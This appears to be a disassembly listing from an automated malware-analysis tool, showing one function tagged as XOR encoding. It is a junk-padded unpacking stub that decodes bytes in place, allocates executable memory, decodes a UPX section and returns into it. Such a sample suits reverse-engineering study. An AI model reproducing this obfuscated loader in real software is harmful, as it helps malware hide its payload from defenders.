Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xea322ffd
sub esi, eax
mov eax, esi
mov esi, eax
popal
inc esi
mov esi, eax
not eax
mov esi, 0
mov ecx, edi
sub ebx, edx
sub ebx, edx
dec edx
mov eax, ecx
sub ebx, edx
add ebx, ebx
mov edx, 0x114827fb
mov edi, eax
dec edx
mov ebx, 0x1f88d72e
and ebx, ebx
inc esi
add ebx, 0x5dfa8e40
sub ebx, 0x5da12f1c
inc ebx
cmp esi, 0x1000493
jne 0x47b44b
sub ebx, 1
sub ebx, edx
and ebx, ebx
add esi, eax
sub esi, 0xa927fd54
dec esi
mov eax, 0x47b21e
mov ebx, ecx
mov ebx, 0xd8a2db6a
sub esi, ecx
mov edi, 0x47b412
inc ebx
or ebx, ebx
not ecx
mov edx, dword [eax]
dec ecx
inc esi
and edx, 0xff
add ebx, ebx
mov ecx, ebx
mov ebx, esi
xor dword [edi], edx
mov ecx, 0xa6a1cbfe
mov esi, ebx
inc esi
inc edi
not ecx
add ecx, 1
sub esi, ecx
inc eax
not esi
sub esi, 0xa6a0fb7a
cmp edi, entry0
jl 0x47b4ac
add ecx, 0x8f32d92a
mov esi, 0x9bb62a48
mov esi, ebx
and esi, ebx
and esi, ecx
or esi, edx
and ecx, edi
add edi, ecx
mov ebx, 0x47b416
sub edx, 1
mov edi, esi
mov edi, edx
mov ebx, dword [ebx]
and edx, esi
and esi, edi
mov ebx, dword [ebx]
sub edx, edi
or esi, edx
sub esp, 4
mov dword [esp], ebx
add edx, esi
add ecx, edx
mov ebx, 0x47b412
and edx, edx
sub ecx, 0xfc9593b2
mov ebx, dword [ebx]
sub edx, 1
add ecx, esi
inc edi
mov ebx, dword [ebx]
dec edx
or esi, ecx
push 0x47b41a
and ecx, ecx
dec edx
add edi, 0x5d5ba6e2
call ebx
add esi, 0x6c33ff1f
or ecx, ecx
pop ebx
and ecx, esi
add esi, esi
add esi, edi
push 0x47b427
add edi, 1
add ecx, ecx
push eax
or edi, edi
dec edi
and esi, esi
call ebx
not edx
dec ecx
push 0x40
not esi
and ecx, ecx
or esi, esi
push 0x3000
dec edi
mov esi, 0x7cbdef44
sub esp, 4
mov dword [esp], 0x20000189
dec ecx
or esi, edx
or esi, edx
push 0
mov esi, ecx
mov edx, 0xbbc8a3e4
call eax
not edi
sub edx, edi
inc ecx
add eax, 0x200000c5
add ecx, 0xdde77263
add edx, edx
not ecx
mov ebx, 0x9fc4f425
sub esi, edx
and edi, ecx
dec ecx
mov dword [eax], ebx
dec edx
add esi, 0x8f38a4fa
mov ecx, edx
mov ebx, dword [eax]
sub edi, ecx
dec esi
cmp ebx, 0x9fc4f425
je 0x47b5e7
mov edx, 0
mov cl, byte [edx]
and edi, esi
add esi, ecx
sub esi, edx
not esi
and edi, edx
mov edi, ecx
mov esi, 0xfc42d887
inc esi
dec eax
mov ebx, section.UPX1
mov esi, 0xe87ad34a
add esi, esi
mov edi, 0x47b21d
sub eax, 1
add esi, 0x62e7e5ff
sub eax, 0x6f99e03e
mov edx, 0
sub eax, esi
and esi, eax
add eax, 0x8c72e639
mov ecx, 0x47b21e
and eax, eax
mov eax, 0xbf24602c
lea ecx, [ecx + edx]
mov eax, 0xd978302b
add eax, 0xaab00982
not esi
mov ecx, dword [ecx]
dec eax
add esi, 1
and ecx, 0xff
add eax, esi
and esi, eax
inc edx
mov esi, 0x52542950
add eax, eax
cmp edx, 0x1f4
jne 0x47b670
mov edx, 0
or eax, esi
or eax, eax
sub eax, 0xa60870a2
inc eax
add eax, esi
add esi, 0xe4b74874
xor dword [ebx], ecx
or eax, esi
and esi, esi
sub esi, eax
add ebx, 2
inc eax
or esi, esi
cmp ebx, edi
jl 0x47b62c
sub eax, esi
not esi
or esi, eax
mov eax, esi
mov eax, section.UPX1
mov ecx, 0x1201db90
mov ecx, edi
mov esi, section.UPX1
or edi, ecx
or edi, ecx
mov edx, 0x47b21d
add edi, 0x484d64e7
sub edi, ecx
mov ebx, 0
or ecx, ecx
inc edi
mov bl, byte [esi]
inc ecx
mov edi, ecx
sub edi, ecx
mov byte [eax], bl
inc ecx
add ecx, ecx
not ecx
inc eax
or edi, ecx
dec edi
sub ecx, 0xb1f5be94
add esi, 2
sub ecx, 0x9b9395d5
inc ecx
cmp esi, edx
jle 0x47b6ce
or ecx, ecx
mov edi, 0xca89702f
sub esi, eax
sub esi, 0xce3a70d3
sub esp, 4
mov dword [esp], 0x45e6a0
sub esi, eax
mov eax, 0xf1f1ac97
sub esi, eax
ret